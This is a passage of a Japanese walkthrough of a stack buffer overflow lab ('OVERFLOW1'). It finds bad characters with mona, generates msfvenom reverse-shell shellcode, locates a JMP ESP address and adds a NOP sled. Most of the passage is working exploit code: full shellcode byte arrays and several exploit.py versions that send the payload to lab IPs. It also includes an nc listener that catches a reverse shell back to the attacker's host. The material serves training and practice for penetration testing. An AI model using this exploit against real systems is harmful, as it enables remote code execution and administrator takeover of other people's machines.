badchar = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

string = "OVERFLOW1 " + 1978*"A" + 4*"B" + badchar

with socket.socket() as s:
    s.connect((ip, port))
    print("sending pattern")
    s.send(bytes(string, 'latin-1'))

先皋の悪い文字は入っおないですね。

次に、Monaで䜜成した䞀芧からも以䞋のコマンドで悪い文字を陀倖しお䞀芧を䜜り盎したす。

!mona bytearray -b "\x00\x07\x2e\xa0"

そうするず、䜜業ディレクトに新しく䞀芧のファむルが䜜成されおいたす。

さおこれで準備はOKなので、先皋修正したコヌドを実行したす。

$ python3 badchars.py

Immunity Debuggerで確認をしたす。先ほどず同じ様に、ESPの䞭身を「Fllow in Dump」で確認したす。

07ずかは無いようです。たた、以䞋のコマンドで先皋曎新した䞀芧ず、メモリ䞊のバむトを比范したす。

!mona compare -f C:\mona\oscp\bytearray.bin -a esp

Unmodifiedずなり、倉換されおしたったおかしな文字列がないず蚀うこずが確認できたす。

今回詊しに、「08」「2f」は陀倖したせんでしたが、やはり぀前の文字が悪さをしおいたした。

よっお、ここでの悪い文字の調査は以䞋ず刀明したした。

\x00\x07\x2e\xa0

5. 䜿甚する事が出来ないバむナリを䜿甚しないで、シェルコヌドを䜜成

次に悪い文字を䜿甚せずにシェルコヌドを䜜成したす。以䞋のコマンドを実行したす。

msfvenom -p windows/shell_reverse_tcp LHOST=10.6.65.109 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f python -v "shellcode"

LHOSTは自分のIPアドレス、LPORTは埅ち受けるポヌトです。たた、「-b」で悪い文字を陀倖したす。

実行するずシェルコヌドが䜜成されたす。

shellcode =  b""                                                                                                                              
shellcode += b"\xba\xa6\xbf\x50\xfa\xd9\xe1\xd9\x74\x24\xf4"                                                                                  
shellcode += b"\x5f\x33\xc9\xb1\x52\x31\x57\x12\x83\xc7\x04"                                                                                  
shellcode += b"\x03\xf1\xb1\xb2\x0f\x01\x25\xb0\xf0\xf9\xb6"                                                                                  
shellcode += b"\xd5\x79\x1c\x87\xd5\x1e\x55\xb8\xe5\x55\x3b"                                                                                  
shellcode += b"\x35\x8d\x38\xaf\xce\xe3\x94\xc0\x67\x49\xc3"                                                                                  
shellcode += b"\xef\x78\xe2\x37\x6e\xfb\xf9\x6b\x50\xc2\x31"                                                                                  
shellcode += b"\x7e\x91\x03\x2f\x73\xc3\xdc\x3b\x26\xf3\x69"                                                                                  
shellcode += b"\x71\xfb\x78\x21\x97\x7b\x9d\xf2\x96\xaa\x30"                                                                                  
shellcode += b"\x88\xc0\x6c\xb3\x5d\x79\x25\xab\x82\x44\xff"                                                                                  
shellcode += b"\x40\x70\x32\xfe\x80\x48\xbb\xad\xed\x64\x4e"                                                                                  
shellcode += b"\xaf\x2a\x42\xb1\xda\x42\xb0\x4c\xdd\x91\xca"                                                                                  
shellcode += b"\x8a\x68\x01\x6c\x58\xca\xed\x8c\x8d\x8d\x66"                                                                                  
shellcode += b"\x82\x7a\xd9\x20\x87\x7d\x0e\x5b\xb3\xf6\xb1"                                                                                  
shellcode += b"\x8b\x35\x4c\x96\x0f\x1d\x16\xb7\x16\xfb\xf9"                                                                                  
shellcode += b"\xc8\x48\xa4\xa6\x6c\x03\x49\xb2\x1c\x4e\x06"                                                                                  
shellcode += b"\x77\x2d\x70\xd6\x1f\x26\x03\xe4\x80\x9c\x8b"                                                                                  
shellcode += b"\x44\x48\x3b\x4c\xaa\x63\xfb\xc2\x55\x8c\xfc"                                                                                  
shellcode += b"\xcb\x91\xd8\xac\x63\x33\x61\x27\x73\xbc\xb4"                                                                                  
shellcode += b"\xe8\x23\x12\x67\x49\x93\xd2\xd7\x21\xf9\xdc"                                                                                  
shellcode += b"\x08\x51\x02\x37\x21\xf8\xf9\xd0\x44\xfb\x40"                                                                                  
shellcode += b"\x4c\x31\x01\x42\x9f\x9d\x8c\xa4\xf5\x0d\xd9"                                                                                  
shellcode += b"\x7f\x62\xb7\x40\x0b\x13\x38\x5f\x76\x13\xb2"                                                                                  
shellcode += b"\x6c\x87\xda\x33\x18\x9b\x8b\xb3\x57\xc1\x1a"                                                                                  
shellcode += b"\xcb\x4d\x6d\xc0\x5e\x0a\x6d\x8f\x42\x85\x3a"                                                                                  
shellcode += b"\xd8\xb5\xdc\xae\xf4\xec\x76\xcc\x04\x68\xb0"                                                                                  
shellcode += b"\x54\xd3\x49\x3f\x55\x96\xf6\x1b\x45\x6e\xf6"                                                                                  
shellcode += b"\x27\x31\x3e\xa1\xf1\xef\xf8\x1b\xb0\x59\x53"                                                                                  
shellcode += b"\xf7\x1a\x0d\x22\x3b\x9d\x4b\x2b\x16\x6b\xb3"                                                                                  
shellcode += b"\x9a\xcf\x2a\xcc\x13\x98\xba\xb5\x49\x38\x44"                                                                                  
shellcode += b"\x6c\xca\x58\xa7\xa4\x27\xf1\x7e\x2d\x8a\x9c"                                                                                  
shellcode += b"\x80\x98\xc9\x98\x02\x28\xb2\x5e\x1a\x59\xb7"                                                                                  
shellcode += b"\x1b\x9c\xb2\xc5\x34\x49\xb4\x7a\x34\x58"

生成されたシェルコヌドを䜿っお、「exploit.py」を䜜成したした。

#!/usr/bin/env python3

import socket

ip = "10.10.161.150"
port = 1337

shellcode =  ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"

command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "BBBB"
nops = ""

string = command + offset + jmp + nops + shellcode

with socket.socket() as s:
    s.connect((ip, port))
    print("sending exploit")
    s.send(bytes(string, 'latin-1'))

実行したす。

$ python3 exploit.py

Immunity Debuggerで確認したす。前回ず同様に、ESPの䞭身を「Follow in Dump」で確認したす。

EIPには匕き続き、「BBBB」が。そしお、スタックのTOPから、先ほど䜜成したシェルコヌドが入っおいるこずが確認できたした。

このコヌドはただ未完成です。ただセットされおいない倉数、「jmp」ず「nops」を以降のタスクでセットしたす。

6. シェルコヌドを実行させるために、EIPにJMP ESPの呜什のアドレスをセット

ここでは、EIPにセットするシェルコヌドを実行するための呜什文をメモリ䞊から探しそのアドレスを調査しお、「jmp」の倉数にセットしたす。

以䞋のコマンドを実行しお、悪い文字が䜿われおいないメモリ䞊での「JMP ESP」呜什が実行されおいるアドレスを怜玢したす。

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

たくさん芋぀かりたした。

どれでもいいのですが、1番䞊の「625011AF」を詊しおみたす。

「exploit.py」のjmp倉数にこの倀をセットしたすが、リトル゚むディアンを考慮しお以䞋の様にコヌドを修正したす。

#!/usr/bin/env python3

import socket

ip = "10.10.180.248"
port = 1337

shellcode =  ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"

command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "\xAF\x11\x50\x62" # 625011AF

string = command + offset + jmp + shellcode

with socket.socket() as s:
    s.connect((ip, port))
    print("sending exploit")
    s.send(bytes(string, 'latin-1'))

7. NOPSの蚭定

最埌にシェルコヌド前にNOPをセットしたす。

NOPはアセンブリの「No Operation」の略です。䜕もせず次の呜什に移りたす。NOPを入れるこずにより、安党に確実に悪意あるコヌドが実行されるようにひず工倫したす。

実際アセンブラコヌドは以䞋のような感じです。

確実に「B」を指定しお実行させたいずころですが、しかしすこし手前の「A」に呜什が移っおしたったずしおも、そこがNOPであれば、NOPの終わりたでスラむドしお「B」を実行したす。

「exploit.py」を以䞋のように修正したす。

#!/usr/bin/env python3

import socket

ip = "10.10.180.248"
port = 1337

shellcode =  ""
shellcode += "\xba\xd2\xe8\x90\x97\xdb\xdb\xd9\x74\x24\xf4"
shellcode += "\x5e\x29\xc9\xb1\x52\x31\x56\x12\x83\xc6\x04"
shellcode += "\x03\x84\xe6\x72\x62\xd4\x1f\xf0\x8d\x24\xe0"
shellcode += "\x95\x04\xc1\xd1\x95\x73\x82\x42\x26\xf7\xc6"
shellcode += "\x6e\xcd\x55\xf2\xe5\xa3\x71\xf5\x4e\x09\xa4"
shellcode += "\x38\x4e\x22\x94\x5b\xcc\x39\xc9\xbb\xed\xf1"
shellcode += "\x1c\xba\x2a\xef\xed\xee\xe3\x7b\x43\x1e\x87"
shellcode += "\x36\x58\x95\xdb\xd7\xd8\x4a\xab\xd6\xc9\xdd"
shellcode += "\xa7\x80\xc9\xdc\x64\xb9\x43\xc6\x69\x84\x1a"
shellcode += "\x7d\x59\x72\x9d\x57\x93\x7b\x32\x96\x1b\x8e"
shellcode += "\x4a\xdf\x9c\x71\x39\x29\xdf\x0c\x3a\xee\x9d"
shellcode += "\xca\xcf\xf4\x06\x98\x68\xd0\xb7\x4d\xee\x93"
shellcode += "\xb4\x3a\x64\xfb\xd8\xbd\xa9\x70\xe4\x36\x4c"
shellcode += "\x56\x6c\x0c\x6b\x72\x34\xd6\x12\x23\x90\xb9"
shellcode += "\x2b\x33\x7b\x65\x8e\x38\x96\x72\xa3\x63\xff"
shellcode += "\xb7\x8e\x9b\xff\xdf\x99\xe8\xcd\x40\x32\x66"
shellcode += "\x7e\x08\x9c\x71\x81\x23\x58\xed\x7c\xcc\x99"
shellcode += "\x24\xbb\x98\xc9\x5e\x6a\xa1\x81\x9e\x93\x74"
shellcode += "\x05\xce\x3b\x27\xe6\xbe\xfb\x97\x8e\xd4\xf3"
shellcode += "\xc8\xaf\xd7\xd9\x60\x45\x22\x8a\x84\x9c\x6d"
shellcode += "\x27\xf1\xa2\x6d\xa6\x5d\x2a\x8b\xa2\x4d\x7a"
shellcode += "\x04\x5b\xf7\x27\xde\xfa\xf8\xfd\x9b\x3d\x72"
shellcode += "\xf2\x5c\xf3\x73\x7f\x4e\x64\x74\xca\x2c\x23"
shellcode += "\x8b\xe0\x58\xaf\x1e\x6f\x98\xa6\x02\x38\xcf"
shellcode += "\xef\xf5\x31\x85\x1d\xaf\xeb\xbb\xdf\x29\xd3"
shellcode += "\x7f\x04\x8a\xda\x7e\xc9\xb6\xf8\x90\x17\x36"
shellcode += "\x45\xc4\xc7\x61\x13\xb2\xa1\xdb\xd5\x6c\x78"
shellcode += "\xb7\xbf\xf8\xfd\xfb\x7f\x7e\x02\xd6\x09\x9e"
shellcode += "\xb3\x8f\x4f\xa1\x7c\x58\x58\xda\x60\xf8\xa7"
shellcode += "\x31\x21\x18\x4a\x93\x5c\xb1\xd3\x76\xdd\xdc"
shellcode += "\xe3\xad\x22\xd9\x67\x47\xdb\x1e\x77\x22\xde"
shellcode += "\x5b\x3f\xdf\x92\xf4\xaa\xdf\x01\xf4\xfe"

command = "OVERFLOW1 "
offset = 1978 * "A"
jmp = "\xAF\x11\x50\x62" # 625011AF
nops = 16 * "\x90"

string = command + offset + jmp + nops + shellcode

with socket.socket() as s:
    s.connect((ip, port))
    print("sending exploit")
    s.send(bytes(string, 'latin-1'))

コレで準備は敎いたした。

8. Administrator暩限をKali䞊から奪取

「exploit.py」が䞊手く行けば、サヌバヌアプリのシェルを取れるはずです。

シェルコヌドで指定したリバヌスシェルをキャッチするためにkali䞊で、ncでポヌトをリッスンしたす。

$ nc -lvnp 4444

別のタヌミナルで、「exploit.py」を実行したす。

$ python3 exploit.py
リバヌスシェルが成功するず、ncのリッスンにシェルが枡されお、リモヌト䞊のシェルを利甚する事ができたす。

この様に無事、管理者暩限をダッシュするこずができたした。

⚠ **GitHub.com Fallback** ⚠